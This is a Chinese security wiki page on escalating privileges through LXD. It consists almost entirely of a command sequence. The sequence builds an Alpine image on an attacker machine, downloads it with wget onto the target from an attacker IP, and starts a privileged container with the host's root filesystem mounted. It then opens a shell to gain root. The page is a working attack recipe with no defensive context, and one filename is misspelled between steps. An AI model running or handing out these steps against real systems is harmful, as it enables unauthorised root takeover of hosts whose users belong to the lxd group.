> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/quan-xian-ti-sheng/linux-ti-quan/lxd-ti-quan.md).

# Lxd提权

```
查看文件是否存在
>which lxd & >which lxc
攻击机
>git clone https://github.com/saghul/lxd-alpine-builder.git
>cd lxd-alpine-builder
>./build-alpine
搞个web服务提供下载>python -m SimpleHTTPServer
靶机下载
>wget http://192.168.1.107:8000/apline-v3.10-x86_64-20191008_1227.tar.gz
>lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
>lxc image list
>lxc init myimage ignite -c security.privileged=true
>lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
>lxc start ignite
>lxc exec ignite /bin/sh
>id
```
